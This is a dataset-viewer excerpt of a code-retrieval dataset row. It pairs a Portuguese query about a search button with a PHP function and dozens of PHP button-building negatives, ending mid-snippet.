query
stringlengths
7
5.25k
document
stringlengths
15
1.06M
metadata
dict
negatives
sequencelengths
3
101
negative_scores
sequencelengths
3
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Cria o objeto button pesquisasAvancadas
function botaoPesquisasAvancadas(){ echo " <form method='post'> <button type='submit' class='btn btn-secondary btn-lg btn-block botao' name='pesquisasAvancadas' value='pesquisar'>Pesquisar</button> </form>";//só irá existir um botão iserir que vai executar a mesma função por isso o valor 'Inserir' }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function addsButtons() {}", "public function constructArrayButton()\n { \n //- récupération des boutons par défaut\n $arra_bouton=parent::constructArrayButton();\n \n //- suppression des boutons superflus\n unset($arra_bouton['actionNew']);\n \n //- récupération du modèle\n $obj_model=$this->getModel();\n \n //- s'il n'y a pas d'historique de déplacement \n if(!$obj_model->getHasHisto())\n {\n unset($arra_bouton['actionBack']);\n } \n \n return $arra_bouton;\n }", "protected function generateButtons() {}", "public function addButton(\\SetaPDF_FormFiller_Field_Button $button) {}", "protected function buttons()\r\n\t{\r\n\t\t$this->buttons = new stdClass();\r\n\t\t$buttonProperties = array('class' => 'fabrikTip', 'opts' => \"{notice:true}\", 'title' => '<span>'.JText::_('COM_FABRIK_EXPORT_TO_CSV').'</span>');\r\n\t\t$this->buttons->csvexport = FabrikHelperHTML::image('csv-export.png', 'list', $this->tmpl, $buttonProperties);\r\n\t\t$buttonProperties['title'] = '<span>'.JText::_('COM_FABRIK_IMPORT_FROM_CSV').'</span>';\r\n\t\t$this->buttons->csvimport = FabrikHelperHTML::image('csv-import.png', 'list', $this->tmpl, $buttonProperties);\r\n\t\t$buttonProperties['title'] = '<span>'.JText::_('COM_FABRIK_SUBSCRIBE_RSS').'</span>';\r\n\t\t$this->buttons->feed = FabrikHelperHTML::image('feed.png', 'list', $this->tmpl, $buttonProperties);\r\n\t\t$buttonProperties['title'] = '<span>'.JText::_('COM_FABRIK_EMPTY').'</span>';\r\n\t\t$this->buttons->empty = FabrikHelperHTML::image('trash.png', 'list', $this->tmpl, $buttonProperties);\r\n\r\n\t\t$buttonProperties['title'] = '<span>'.JText::_('COM_FABRIK_GROUP_BY').'</span>';\r\n\t\t$this->buttons->groupby = FabrikHelperHTML::image('group_by.png', 'list', $this->tmpl, $buttonProperties);\r\n\r\n\t\t$buttonProperties['title'] = '<span>'.JText::_('COM_FABRIK_FILTER').'</span>';\r\n\t\t$this->buttons->filter = FabrikHelperHTML::image('filter.png', 'list', $this->tmpl, $buttonProperties);\r\n\r\n\t\t$buttonProperties['title'] = '<span>'.JText::_('COM_FABRIK_ADD').'</span>';\r\n\t\t$this->buttons->add = FabrikHelperHTML::image('add.png', 'list', $this->tmpl, $buttonProperties);\r\n\t}", "private function loadButtons()\n {\n $objAdd = $this->addButtonNew(_FEST);\n $objAdd->setInline();\n }", "private function createButton() {\n $fv = new filterVars;\n $phpSelf = $fv->phpSelf();\n\t$addButton = \"<A HREF='$phpSelf?action=crf'><button title='Create Row'>Create Row</button></A>\"; \n return $addButton; \n }", "public function set_button($button) { $this->button = $button; }", "protected function registerButtons() {}", "protected function registerButtons() {}", "public function makeInputButton() {}", "function addButton($a_button_name)\n\t{\n\t\tarray_push($this->buttons, $a_button_name);\n\t}", "public function getButton() {}", "function dlgSelCondicaoPagamentoBotoesPaginacao() {\n $_botoes = \"<button class='btn btn-primary btn-xs disabled' disabled data-toggle='tooltip' data-placement='bottom' title='Primeira Página'\"\n\t \t . \" onclick='dlgCondicaoPagamentoAcao(\\\"SEL_CONDICAO\\\", \\\"PRIMEIRA\\\");' id='bdCpgPrimeira'><i class='fa fa-step-backward'></i>\"\n\t\t\t . \"</button>&nbsp;\"\n\t\t\t . \"<button class='btn btn-primary btn-xs disabled' disabled data-toggle='tooltip' data-placement='bottom' title='Proxima Página'\"\n\t\t\t . \" onclick='dlgCondicaoPagamentoAcao(\\\"SEL_CONDICAO\\\", \\\"PROXIMA\\\");' id='bdCpgProxima'><i class='fa fa-play'></i>\"\n\t\t\t . \"</button>&nbsp;\"\n\t\t\t . \"<button class='btn btn-primary btn-xs disabled' disabled data-toggle='tooltip' data-placement='bottom' title='Página Anterior'\"\n\t\t\t . \" onclick='dlgCondicaoPagamentoAcao(\\\"SEL_CONDICAO\\\", \\\"ANTERIOR\\\");' id='bdCpgAnterior'><i class='fa fa-play fa-rotate-180'></i>\"\n\t\t\t . \"</button>&nbsp;\"\n\t\t\t . \"<button class='btn btn-primary btn-xs disabled' disabled data-toggle='tooltip' data-placement='bottom' title='Ultima Página'\"\n\t\t\t .\t \t \" onclick='dlgCondicaoPagamentoAcao(\\\"SEL_CONDICAO\\\", \\\"ULTIMA\\\");' id='bdCpgUltima'><i class='fa fa-step-forward'></i>\"\n\t\t\t . \"</button>&nbsp;&nbsp;\"\n\t\t\t . \"<span class='badge badge-success disabled' disabled data-toggle='tooltip' data-placement='bottom' title='Pagina Corrente' id='valDlgCpgPagina'></span>\"\n\t\t\t . \"&nbsp;<span>/</span>&nbsp;\"\n\t\t\t . \"<span class='badge badge-success disabled' disabled data-toggle='tooltip' data-placement='bottom' title='Total de Página(s)' id='valDlgCpgUltimaPagina'></span>\";\n \n\treturn $_botoes;\n \n}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "protected function getButtons() {}", "public function getButtons() {}", "public function getButtons() {}", "public function getButtons() {}", "public function getButtons() {}", "protected function _addButtons()\r\n\t{\r\n\t\t$model = $this->getModel();\r\n\t\t$params\t= $model->getParams();\r\n\t\t$this->showEmail = $params->get('email', 0);\r\n\t\t$this->emailLink = '';\r\n\t\t$this->printLink = '';\r\n\t\t$this->pdfLink = '';\r\n\t\t$this->showPrint = $params->get('print', 0);\r\n\r\n\t\tif ($this->showPrint) {\r\n\t\t\t$text = JHTML::_('image.site', 'printButton.png', '/images/', NULL, NULL, JText::_('Print'));\r\n\t\t\t$this->printLink = '<a href=\"#\" onclick=\"window.print();return false;\">'.$text.'</a>';\r\n\t\t}\r\n\r\n\t\tif (JRequest::getVar('tmpl') != 'component') {\r\n\t\t\tif ($this->showEmail) {\r\n\t\t\t\t$this->emailLink = FabrikHelperHTML::emailIcon($model, $params);\r\n\t\t\t}\r\n\r\n\t\t\tif ($this->showPrint) {\r\n\t\t\t\t$this->printLink = FabrikHelperHTML::printIcon($model, $params, $model->_rowId);\r\n\t\t\t}\r\n\r\n\t\t\t$this->showPDF = $params->get('pdf', 0);\r\n\t\t\tif ($this->showPDF) {\r\n\t\t\t\t$this->pdfLink = FabrikHelperHTML::pdfIcon($model, $params, $model->_rowId);\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t$this->showPDF = false;\r\n\t\t}\r\n\t}", "function add_ind_button($buttons) {\n\tarray_push($buttons, 'Indizar');\n\treturn $buttons;\n}", "protected function generateButtons()\n {\n $arrButtons = array();\n\n // Add \"update cart\" button\n $arrButtons['update'] = array(\n 'type' => 'submit',\n 'name' => 'button_update',\n 'label' => $GLOBALS['TL_LANG']['MSC']['updateCartBT'],\n );\n\n // Add button to cart button (usually if not on the cart page)\n if ($this->iso_cart_jumpTo > 0) {\n $objJumpToCart = \\PageModel::findByPk($this->iso_cart_jumpTo);\n\n if (null !== $objJumpToCart) {\n $arrButtons['cart'] = array(\n 'type' => 'submit',\n 'name' => 'button_cart',\n 'label' => $GLOBALS['TL_LANG']['MSC']['cartBT'],\n 'href' => \\Controller::generateFrontendUrl($objJumpToCart->row()),\n );\n\n if (\\Input::post('FORM_SUBMIT') == $this->strFormId && \\Input::post('button_cart') != '') {\n $this->jumpToOrReload($this->iso_cart_jumpTo);\n }\n }\n }\n\n // Add button to checkout page\n if ($this->iso_checkout_jumpTo > 0 && !Isotope::getCart()->hasErrors()) {\n $objJumpToCheckout = \\PageModel::findByPk($this->iso_checkout_jumpTo);\n\n if (null !== $objJumpToCheckout) {\n $arrButtons['checkout'] = array(\n 'type' => 'submit',\n 'name' => 'button_checkout',\n 'label' => $GLOBALS['TL_LANG']['MSC']['checkoutBT'],\n 'href' => \\Controller::generateFrontendUrl($objJumpToCheckout->row()),\n );\n\n if (\\Input::post('FORM_SUBMIT') == $this->strFormId && \\Input::post('button_checkout') != '') {\n $this->jumpToOrReload($this->iso_checkout_jumpTo);\n }\n }\n }\n\n if ($this->iso_continueShopping && $this->Input->get('continue') != '') {\n $arrButtons['continue'] = array(\n 'type' => 'submit',\n 'name' => 'button_continue',\n 'label' => $GLOBALS['TL_LANG']['MSC']['continueShoppingBT'],\n 'href' => ampersand(base64_decode($this->Input->get('continue', true))),\n );\n\n if (\\Input::post('FORM_SUBMIT') == $this->strFormId && \\Input::post('button_continue') != '') {\n \\Controller::redirect($arrButtons['continue']['href']);\n }\n }\n\n return $arrButtons;\n }", "private function setButtons()\n {\n $this->createFolderButton = config('godesk.filemanager.buttons.create_folder', true);\n $this->uploadButton = config('godesk.filemanager.buttons.upload_button', true);\n $this->dragAndDropUpload = config('godesk.filemanager.buttons.upload_drag', true);\n $this->renameFolderButton = config('godesk.filemanager.buttons.rename_folder', true);\n $this->deleteFolderButton = config('godesk.filemanager.buttons.delete_folder', true);\n $this->renameFileButton = config('godesk.filemanager.buttons.rename_file', true);\n $this->deleteFileButton = config('godesk.filemanager.buttons.delete_file', true);\n $this->downloadFileButton = config('godesk.filemanager.buttons.download_file', true);\n }", "private function createButtonsTab()\n {\n $tab = $this->createTab(\n 'buttons_tab',\n '__responsive_tab_buttons__',\n [\n 'attributes' => [\n 'autoScroll' => true,\n ],\n ]\n );\n\n $attributes = array_merge($this->fieldSetDefaults, ['height' => 90]);\n $fieldSetButtons = $this->createFieldSet(\n 'buttons_fieldset',\n '__responsive_tab_buttons_fieldset_global__',\n ['attributes' => $attributes]\n );\n\n $fieldSetButtons->addElement(\n $this->createTextField(\n 'btn-font-size',\n '@btn-font-size',\n $this->themeFontDefaults['btn-font-size']\n )\n );\n $fieldSetButtons->addElement(\n $this->createTextField(\n 'btn-icon-size',\n '@btn-icon-size',\n $this->themeFontDefaults['btn-icon-size']\n )\n );\n\n $tab->addElement($fieldSetButtons);\n\n $attributes = array_merge($this->fieldSetDefaults, ['height' => 200]);\n $fieldSetDefaultButtons = $this->createFieldSet(\n 'buttons_default_fieldset',\n '__responsive_tab_buttons_fieldset_default__',\n ['attributes' => $attributes]\n );\n\n $fieldSetDefaultButtons->addElement(\n $this->createColorPickerField(\n 'btn-default-top-bg',\n '@btn-default-top-bg',\n $this->themeColorDefaults['btn-default-top-bg']\n )\n );\n $fieldSetDefaultButtons->addElement(\n $this->createColorPickerField(\n 'btn-default-bottom-bg',\n '@btn-default-bottom-bg',\n $this->themeColorDefaults['btn-default-bottom-bg']\n )\n );\n $fieldSetDefaultButtons->addElement(\n $this->createColorPickerField(\n 'btn-default-hover-bg',\n '@btn-default-hover-bg',\n $this->themeColorDefaults['btn-default-hover-bg']\n )\n );\n $fieldSetDefaultButtons->addElement(\n $this->createColorPickerField(\n 'btn-default-text-color',\n '@btn-default-text-color',\n $this->themeColorDefaults['btn-default-text-color']\n )\n );\n $fieldSetDefaultButtons->addElement(\n $this->createColorPickerField(\n 'btn-default-hover-text-color',\n '@btn-default-hover-text-color',\n $this->themeColorDefaults['btn-default-hover-text-color']\n )\n );\n $fieldSetDefaultButtons->addElement(\n $this->createColorPickerField(\n 'btn-default-border-color',\n '@btn-default-border-color',\n $this->themeColorDefaults['btn-default-border-color']\n )\n );\n $fieldSetDefaultButtons->addElement(\n $this->createColorPickerField(\n 'btn-default-hover-border-color',\n '@btn-default-hover-border-color',\n $this->themeColorDefaults['btn-default-hover-border-color']\n )\n );\n\n $tab->addElement($fieldSetDefaultButtons);\n\n $attributes = array_merge($this->fieldSetDefaults, ['height' => 170]);\n $fieldSetPrimaryButtons = $this->createFieldSet(\n 'buttons_primary_fieldset',\n '__responsive_tab_buttons_fieldset_primary__',\n ['attributes' => $attributes]\n );\n\n $fieldSetPrimaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-primary-top-bg',\n '@btn-primary-top-bg',\n $this->themeColorDefaults['btn-primary-top-bg']\n )\n );\n $fieldSetPrimaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-primary-bottom-bg',\n '@btn-primary-bottom-bg',\n $this->themeColorDefaults['btn-primary-bottom-bg']\n )\n );\n $fieldSetPrimaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-primary-hover-bg',\n '@btn-primary-hover-bg',\n $this->themeColorDefaults['btn-primary-hover-bg']\n )\n );\n $fieldSetPrimaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-primary-text-color',\n '@btn-primary-text-color',\n $this->themeColorDefaults['btn-primary-text-color']\n )\n );\n $fieldSetPrimaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-primary-hover-text-color',\n '@btn-primary-hover-text-color',\n $this->themeColorDefaults['btn-primary-hover-text-color']\n )\n );\n\n $tab->addElement($fieldSetPrimaryButtons);\n\n $attributes = array_merge($this->fieldSetDefaults, ['height' => 170]);\n $fieldSetSecondaryButtons = $this->createFieldSet(\n 'buttons_secondary_fieldset',\n '__responsive_tab_buttons_fieldset_secondary__',\n ['attributes' => $attributes]\n );\n\n $fieldSetSecondaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-secondary-top-bg',\n '@btn-secondary-top-bg',\n $this->themeColorDefaults['btn-secondary-top-bg']\n )\n );\n $fieldSetSecondaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-secondary-bottom-bg',\n '@btn-secondary-bottom-bg',\n $this->themeColorDefaults['btn-secondary-bottom-bg']\n )\n );\n $fieldSetSecondaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-secondary-hover-bg',\n '@btn-secondary-hover-bg',\n $this->themeColorDefaults['btn-secondary-hover-bg']\n )\n );\n $fieldSetSecondaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-secondary-text-color',\n '@btn-secondary-text-color',\n $this->themeColorDefaults['btn-secondary-text-color']\n )\n );\n $fieldSetSecondaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-secondary-hover-text-color',\n '@btn-secondary-hover-text-color',\n $this->themeColorDefaults['btn-secondary-hover-text-color']\n )\n );\n\n $tab->addElement($fieldSetSecondaryButtons);\n\n $attributes = array_merge($this->fieldSetDefaults, ['height' => 170]);\n $fieldSetPanels = $this->createFieldSet(\n 'panels_fieldset',\n '__responsive_tab_buttons_fieldset_panels__',\n ['attributes' => $attributes]\n );\n\n $fieldSetPanels->addElement(\n $this->createColorPickerField(\n 'panel-header-bg',\n '@panel-header-bg',\n $this->themeColorDefaults['panel-header-bg']\n )\n );\n $fieldSetPanels->addElement(\n $this->createTextField(\n 'panel-header-font-size',\n '@panel-header-font-size',\n $this->themeFontDefaults['panel-header-font-size']\n )\n );\n $fieldSetPanels->addElement(\n $this->createColorPickerField(\n 'panel-header-color',\n '@panel-header-color',\n $this->themeColorDefaults['panel-header-color']\n )\n );\n $fieldSetPanels->addElement(\n $this->createColorPickerField(\n 'panel-border',\n '@panel-border',\n $this->themeColorDefaults['panel-border']\n )\n );\n $fieldSetPanels->addElement(\n $this->createColorPickerField(\n 'panel-bg',\n '@panel-bg',\n $this->themeColorDefaults['panel-bg']\n )\n );\n\n $tab->addElement($fieldSetPanels);\n\n return $tab;\n }", "public function create()\n {\n $buttons = [\n [\n \"name\" => \"舍得茶馆\",\n \"sub_button\" => [\n [\n \"type\" => \"view\",\n \"name\" => \"节目预告\",\n \"url\" => \"http://www.soso.com/\"\n ],\n [\n \"type\" => \"view\",\n \"name\" => \"在线购票\",\n \"url\" => \"http://ming.cure4.net/getseats/1\"\n ],\n [\n \"type\" => \"view\",\n \"name\" => \"往期集锦\",\n \"url\" => \"http://v.qq.com/\"\n ],\n ],\n ],\n ];\n// $buttons = [\n// [\n// \"type\" => \"click\",\n// \"name\" => \"茶文雅集\",\n// \"key\" => \"CHA_WEN_YA_JI\",\n// \"sub_button\" => [\n// [\n// \"type\" => \"view\",\n// \"name\" => \"敬请期待\",\n// \"url\" => \"http://ming.cure4.net/getseats/1\"\n// ],\n// [\n// \"type\" => \"view\",\n// \"name\" => \"敬请期待\",\n// \"url\" => \"http://ming.cure4.net/getseats/1\"\n// ],\n//// [\n//// \"type\" => \"view\",\n//// \"name\" => \"微杂志\",\n//// \"url\" => \"http://www.soso.com/\"\n//// ],\n//// [\n//// \"type\" => \"view\",\n//// \"name\" => \"掌柜说\",\n//// \"url\" => \"http://v.qq.com/\"\n//// ],\n//// [\n//// \"type\" => \"click\",\n//// \"name\" => \"文章搜索\",\n//// \"key\" => \"V1001_GOOD\"\n//// ],\n// ],\n//\n// ],\n// [\n// \"type\" => \"click\",\n// \"name\" => \"舍得茶馆\",\n// \"key\" => \"SHE_DE_CHA_GUAN\",\n// \"sub_button\" => [\n// [\n// \"type\" => \"view\",\n// \"name\" => \"节目预告\",\n// \"url\" => \"http://ming.cure4.net/getseats/1\"\n// ],\n// [\n// \"type\" => \"view\",\n// \"name\" => \"在线购票\",\n// \"url\" => \"http://ming.cure4.net/getseats/1\"\n// ],\n// [\n// \"type\" => \"view\",\n// \"name\" => \"往期集锦\",\n// \"key\" => \"http://ming.cure4.net/getseats/1\"\n// ],\n// ],\n// ],\n// [\n// \"type\" => \"click\",\n// \"name\" => \"茗品荟萃\",\n// \"key\" => \"MING_PIN_HUI_CUI\",\n// \"sub_button\" => [\n// [\n// \"type\" => \"view\",\n// \"name\" => \"敬请期待\",\n// \"url\" => \"http://ming.cure4.net/getseats/1\"\n// ],\n// [\n// \"type\" => \"view\",\n// \"name\" => \"敬请期待\",\n// \"url\" => \"http://ming.cure4.net/getseats/1\"\n// ],\n//// [\n//// \"type\" => \"view\",\n//// \"name\" => \"在线商城\",\n//// \"url\" => \"http://www.soso.com/\"\n//// ],\n//// [\n//// \"type\" => \"view\",\n//// \"name\" => \"本月推荐\",\n//// \"url\" => \"http://v.qq.com/\"\n//// ],\n//// [\n//// \"type\" => \"click\",\n//// \"name\" => \"寻茶记\",\n//// \"key\" => \"V1001_GOOD\"\n//// ],\n// ],\n// ],\n// ];\n $this->menu->add($buttons);\n }", "public function button_init() {\n\t\tadd_filter( 'mce_buttons', array( $this, 'register_button' ) );\n\t\tadd_filter( 'mce_external_plugins', array( $this, 'add_button' ) );\n\t}", "function register_lp_button($buttons) {\n array_push($buttons, \"separator\", \"listingpress\", \"listingpress_vis\");\n return $buttons;\n}", "function button ($arguments = \"\") {\n $arguments = func_get_args();\n $rc = new ReflectionClass('tbutton');\n return $rc->newInstanceArgs( $arguments ); \n}", "public static function bsButton($nome, $etichetta, $valore, $type = 'submit', $aspetto = 'primary')\n {\n echo \"<button type='{$type}' class='btn btn-$aspetto' name='$nome' value='$valore'>$etichetta</button>\";\n }", "function bt_alterar_naoClick($sender, $params)\r\n {\r\n\r\n $this->hd_alterar_produto_numero->Value = '';\r\n $this->hd_alterar_produto_codigo->Value = '';\r\n $this->hd_alterar_produto_referencia->Value = '';\r\n $this->hd_alterar_produto_descricao->Value = '';\r\n $this->hd_alterar_produto_qtde->Value = '';\r\n $this->hd_alterar_produto_preco->Value = '';\r\n $this->hd_alterar_produto_valor_total->Value = '';\r\n $this->hd_alterar_produto_lote->Value = '';\r\n $this->hd_alterar_produto_unidade->Value = '';\r\n $this->hd_alterar_produto_ipi->Value = '';\r\n $this->hd_alterar_produto_valor_ipi->Value = '';\r\n\r\n $this->alterar_produto->Top = 1188;\r\n $this->alterar_produto->Visible = false;\r\n }", "public function makeLinkButton() {}", "protected function getButtons($aBtnAtt = array(), $aBtnTyp = 'button') {\n $lRet = '<div class=\"sub cmsHeader p4\">'.LF;\n\n //check is critical path status flag 'add content' is activated\n $lShow = FALSE;\n $lCrp = CCor_Res::extract('code', 'id', 'crpmaster');\n $lCrpId = $lCrp[$this -> mSrc];\n $lCrpArr = CCor_Res::get('crp', $lCrpId);\n $lSta = $this -> mJob['webstatus'];\n foreach ($lCrpArr as $lRow) {\n if ($lRow['status'] == $lSta) {\n if (bitset($lRow['flags'], staflaAddContent)) {\n $lShow = TRUE;\n }\n }\n }\n \n if ($this -> mCanInsert && ($lShow || $this -> mUsr -> isMemberOf(1))) {\n $lRet.= btn(lan('job-cms.add'), '', 'img/d.gif', $aBtnTyp, array('id' => 'contentButton', 'data-toggle' => \"modal\", 'data-target' => \"#add_master\", 'class' => \"btn btn-default\")).NB; \n }\n if ($this -> mCanEdit OR $this -> mCanInsert) {\n $lAction = '';\n if ($this -> mPhraseTyp == 'product' && CCor_Cfg::get('phrase.job.update', 'auto') == 'manual' && sizeof($this -> mData) > 0) {\n $lAction = 'return Flow.cmsProduct.update();';\n }\n $lRet.= btn(lan('lib.ok'), $lAction, 'img/ico/16/ok.gif', 'submit', array('id' => 'save', 'class' => 'dn')).NB;\n }\n if ($this -> mCanInsert) {\n $lMen = new CHtm_Menu(lan('lib.opt'), \"options fl p4\");\n $lMen -> addTh2(lan('lib.opt'));\n $lMen -> addJsItem(\"go('index.php?act=job-cms.contexp&src=\".$this -> mSrc.\"&jobid=\".$this -> mJobId.\"&typ=xml')\", lan('job-cms.exportxml'), 'ico/16/fie.gif');\n $lMen -> addJsItem(\"go('index.php?act=job-cms.contexp&src=\".$this -> mSrc.\"&jobid=\".$this -> mJobId.\"&typ=excel')\", lan('job-cms.exportexcel'), 'ico/16/excel.gif');\n if($this -> mCanBuild && $this -> mPhraseTyp == 'job') {\n $lMen -> addJsItem('Flow.chili.buildArtwork()', lan('job-cms.build'), 'ico/16/pdf.png');\n }\n $lRet.= $lMen -> getContent();\n }\n $lRet.= $this -> getLanguageOptions();\n $lRet.= '</div>'.LF;\n return $lRet;\n }", "public function init()\n\t{\n\t\tparent::init();\n\n\t\tif(isset($this->buttons['view']) && isset($this->viewButtonVisible))\n\t\t\t$this->buttons['view']['visible']=$this->viewButtonVisible;\n\t\tif(isset($this->buttons['update']) && isset($this->updateButtonVisible))\n\t\t\t$this->buttons['update']['visible']=$this->updateButtonVisible;\n\t\tif(isset($this->buttons['delete']) && isset($this->deleteButtonVisible))\n\t\t\t$this->buttons['delete']['visible']=$this->deleteButtonVisible;\n\t}", "public static function createInstance()\n {\n return new Button('ISerializable', 'ISerializable', 'ISerializable');\n }", "public function prvniPrihozFormSucceeded($button) \n {\n $values = $button->getForm()->getValues(true);\n $values['datum_vkladu'] = date('Y-m-d H:i:s');\n $values['vkladana_castka'] = 0; // prvni prihoz je nulovy, pouze se potvrdi zadana castka\n if ($values['pocet'] == $this->database->findAll('drazba')->where('id_nemovitost', $values['id_nemovitost'])->count('*'))\n { // pokud se shoduji pocty prihozu pri nacteni a tesne pred prihozenim, pak vse ok \n unset($values['pocet']);\n $this->database->insert('drazba', $values);\n $this->flashMessage('Podal(a) jste první nabídku.');\n $this->redirect('Nemovitosti:detailNemovitosti', $values['id_nemovitost']);\n } else {\n $this->flashMessage('Znovu zvažte přihození, někdo před Vámi ještě navýšil cenu.');\n $this->redirect('Aukce:prihodit', $values['id_nemovitost']);\n }\n }", "public function gameButtons() {\n\n }", "public function exportButton ()\n\t{\n\t}", "function add_button(TinyMCE_Button_Interface $button) {\n\t\t$button_id = $button->get_id();\n\t\t$this->buttons[$button_id][] = $button;\n\t}", "function process_button() \n {\n\t\tglobal $order, $currencies, $currency, $languages;\n\t\t \n\t\t \n\t\t//referencia de venta\n\t\t$refventa=time();\n\t\t \n\t\t//moneda\n\t\t$my_currency = $order->info['currency'];\n\t\t \n\t\t//descripcion de la venta\n\t \n\t \t/*for($i = 0; $i < sizeof($order->products); $i++) {\n\t\t\t\t\n\t\t\t\t$descripcion .= \"[\".$order->products[$i]['name'].\" x \".$order->products[$i]['qty'].\"] \";\n\t\t\t}*/\n\t\t\t\n\t\t//nombre del comprador\t\n\t\t$nombre_cliente = $order->customer['firstname'].\" \".$order->customer['lastname'];\n\t\t\n\t\t//telefono del comprador\t\n\t\t$telefono = $order->customer['telephone'];\n\t\t\n\t\t//iva del pedido\n\t\t$iva = number_format($order->info['tax'] * $currencies->get_value($my_currency),2,'.','');\n\t\t\t\n\t\t//base de devolucion\n\t\t$baseDevolucionIva = number_format(($iva / $this->tasa_iva),2,'.','');\n\t\t\n\t\t//se organiza la descripcion de la compra\n\t\t$descripcion = substr($descripcion,0,250);\n\t\t\n\t\t//valor total de la compra\n\t \t\n\t\t$total=$order->info['total']; \n $valor = round($total*$order->info['currency_value'],2);\n $valor = number_format($valor, 2, '.', '');\n \n\t \n\t //cadena para la firma digital\n\t $cadtmp = $this->clave_secreta.\"~\".$this->usuario_id.\"~\".$refventa.\"~\".$valor.\"~\".$my_currency;\n\t\t\n\t\t//firma digital\n\t\t$firma = md5($cadtmp);\n\t\t\t\n\t \t//pagina de respuesta\n\t\t$url_respuesta= HTTP_SERVER . DIR_WS_CATALOG . \"index.php?main_page=checkout_success\"; \n\t \n\t \n\t \t//creacion del boton de pago\n \t$process_button_string =\t\t\t\t \n\t\t\t\t\t\t\t \tzen_draw_hidden_field('valor', $valor).\n\t\t\t\t\t\t\t\tzen_draw_hidden_field('extra1', urlencode(\"Nombre Cliente : \".$nombre_cliente.\" Telefono : \".$telefono)).\n\t\t\t\t\t\t\t\tzen_draw_hidden_field('refVenta', $refventa).\n\t\t\t\t\t\t\t\tzen_draw_hidden_field('usuarioId', $this->usuario_id).\n\t\t\t\t\t\t\t\tzen_draw_hidden_field('descripcion', \"Compra en la tienda \".'::' . STORE_NAME . '::').\n\t\t\t\t\t\t\t\tzen_draw_hidden_field('moneda', $my_currency).\n\t\t\t\t\t\t\t\tzen_draw_hidden_field('prueba', $this->prueba).\n\t\t\t\t\t\t\t\tzen_draw_hidden_field('emailComprador', $order->customer['email_address']).\n\t\t\t\t\t\t\t\tzen_draw_hidden_field('iva', $iva).\n\t\t\t\t\t\t\t\tzen_draw_hidden_field('baseDevolucionIva', $baseDevolucionIva).\n\t\t\t\t\t\t\t\tzen_draw_hidden_field('plantilla', \"\").\n\t\t\t\t\t\t\t\tzen_draw_hidden_field('url_respuesta', $url_respuesta).\n\t\t\t\t\t\t\t\tzen_draw_hidden_field('url_confirmacion', HTTP_SERVER . DIR_WS_CATALOG . \"confirmacion.php\").\n\t\t\t\t\t\t\t\tzen_draw_hidden_field('lng', $_SESSION['languages_code']);\n\n\t\t//creacion de la firma digital\n\t\tif(strlen($this->clave_secreta)) {\n\t\t\t\t$process_button_string = $process_button_string.\"\\n\".zen_draw_hidden_field('firma', $firma);\n\t\t\t}\n\n return $process_button_string;\n }", "function shortcode_insert_button()\n {\n $this->config['self_closing'] = 'yes';\n\n $this->config['name'] = __('Download Button', 'avia_framework');\n $this->config['tab'] = __('Content Elements', 'avia_framework');\n $this->config['icon'] = AviaBuilder::$path['imagesURL'] . \"sc-button.png\";\n $this->config['order'] = 1;\n $this->config['target'] = 'avia-target-insert';\n $this->config['shortcode'] = 'avia_download_button';\n $this->config['tooltip'] = __('Creates a download button', 'avia_framework');\n $this->config['tinyMCE'] = ['tiny_always' => true];\n $this->config['preview'] = true;\n }", "protected function initDefaultButtons()\n\t{\n\t\tif($this->inputFieldName===null)\n\t\t\t$this->inputFieldName='priority[]';\n\t\tif($this->upButtonLabel===null)\n\t\t\t$this->upButtonLabel=Yii::t('zii','Up');\n\t\tif($this->downButtonLabel===null)\n\t\t\t$this->downButtonLabel=Yii::t('zii','Down');\n\t\tif($this->upButtonImageUrl===null)\n\t\t\t$this->upButtonImageUrl=$this->grid->enhancedScriptUrl.'/up.png';\n\t\tif($this->downButtonImageUrl===null)\n\t\t\t$this->downButtonImageUrl=$this->grid->enhancedScriptUrl.'/down.png';\n\t\t\n\t\t// input text\n\t\tforeach(array('input') as $id)\n\t\t{\n\t\t\t$button=array(\n\t\t\t\t'name'=>$this->{$id.'FieldName'},\n\t\t\t\t'options'=>$this->{$id.'FieldOptions'},\n\t\t\t);\n\t\t\tif(isset($this->buttons[$id]))\n\t\t\t\t$this->buttons[$id]=array_merge($button,$this->buttons[$id]);\n\t\t\telse\n\t\t\t\t$this->buttons[$id]=$button;\n\t\t}\n\t\t// image button\n\t\tforeach(array('up','down') as $id)\n\t\t{\n\t\t\t$button=array(\n\t\t\t\t'label'=>$this->{$id.'ButtonLabel'},\n\t\t\t\t'url'=>$this->{$id.'ButtonUrl'},\n\t\t\t\t'imageUrl'=>$this->{$id.'ButtonImageUrl'},\n\t\t\t\t'options'=>$this->{$id.'ButtonOptions'},\n\t\t\t);\n\t\t\tif(isset($this->buttons[$id]))\n\t\t\t\t$this->buttons[$id]=array_merge($button,$this->buttons[$id]);\n\t\t\telse\n\t\t\t\t$this->buttons[$id]=$button;\n\t\t}\n\t}", "public function addButtons()\n {\n if (!Mage::getSingleton('sheep_subscription/adminhtml_acl')->canEditSubscription()) {\n return;\n }\n\n /** @var Sheep_Subscription_Model_Subscription $subscription */\n $subscription = $this->_getModel();\n /** @var Sheep_Subscription_Model_Service $service */\n $service = Mage::getSingleton('sheep_subscription/service');\n\n if ($service->canBeCancelled($subscription)) {\n $this->addButton('cancel', array(\n 'label' => 'Cancel',\n 'onclick' => \"window.setLocation('{$this->getCancelUrl()}')\"\n ));\n }\n\n if ($service->canBePaused($subscription)) {\n $this->addButton('pause', array(\n 'label' => $this->__('Pause'),\n 'onclick' => \"window.setLocation('{$this->getPauseUrl()}')\"\n ));\n }\n\n if ($service->canBeResumed($subscription)) {\n $this->addButton('resume', array(\n 